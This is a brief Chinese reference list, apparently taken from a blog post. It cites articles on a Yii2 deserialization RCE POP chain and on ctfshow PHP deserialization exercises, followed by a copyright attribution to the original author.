Yii2反序列化RCE 新POP链 - 先知社区
https://www.cnblogs.com/thresh/p/13743081.html
ctfshow—web入门—php反序列化_ctfshow php反序列化-CSDN博客
版权归原作者 小龙_(R0 Team) 所有, 如有侵权,请联系我们删除。